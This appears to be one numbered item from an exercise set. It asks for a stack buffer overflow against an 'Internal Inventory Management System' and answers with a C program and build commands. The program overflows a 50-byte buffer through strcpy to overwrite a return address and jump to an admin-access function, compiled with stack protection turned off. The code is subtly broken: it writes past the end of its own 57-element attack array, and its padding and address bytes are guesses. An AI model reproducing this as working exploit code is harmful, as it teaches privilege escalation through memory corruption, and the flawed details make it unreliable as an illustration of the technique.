8. Implement a stack buffer overflow attack using a procedural language on the "Internal Inventory Management System".

```
#include <stdio.h>
#include <string.h>

void grantAdminAccess() {
   printf("Access Granted: Admin Privileges!\n");
}

void processInventory(char *input) {
   char buffer[50];
   // Unsafe function that causes a buffer overflow
   strcpy(buffer, input);
   printf("Inventory Data: %s\n", buffer);
}

int main() {
   // Create the malicious input
   char maliciousInput[57];
   int i;
   // Fill buffer with 'A's
   for (i = 0; i < 54; i++) {
      maliciousInput[i] = 'A';
   }
   // Hypothetical address of grantAdminAccess (in little-endian format)
   maliciousInput[54] = 0x90; // Replace with the correct address
   maliciousInput[55] = 0x12; // Replace with the correct address
   maliciousInput[56] = 0x40; // Replace with the correct address
   maliciousInput[57] = 0x00; // Replace with the correct address
   maliciousInput[58] = '\0'; // Null-terminate the string

   // Run the vulnerable function with the malicious input
   processInventory(maliciousInput);

   printf("Inventory Process Completed.\n");
   return 0;
}
```

In terminal:

gcc -o inventory_system.exe inventory_system.c -fno-stack-protector

and

./inventory_system.exe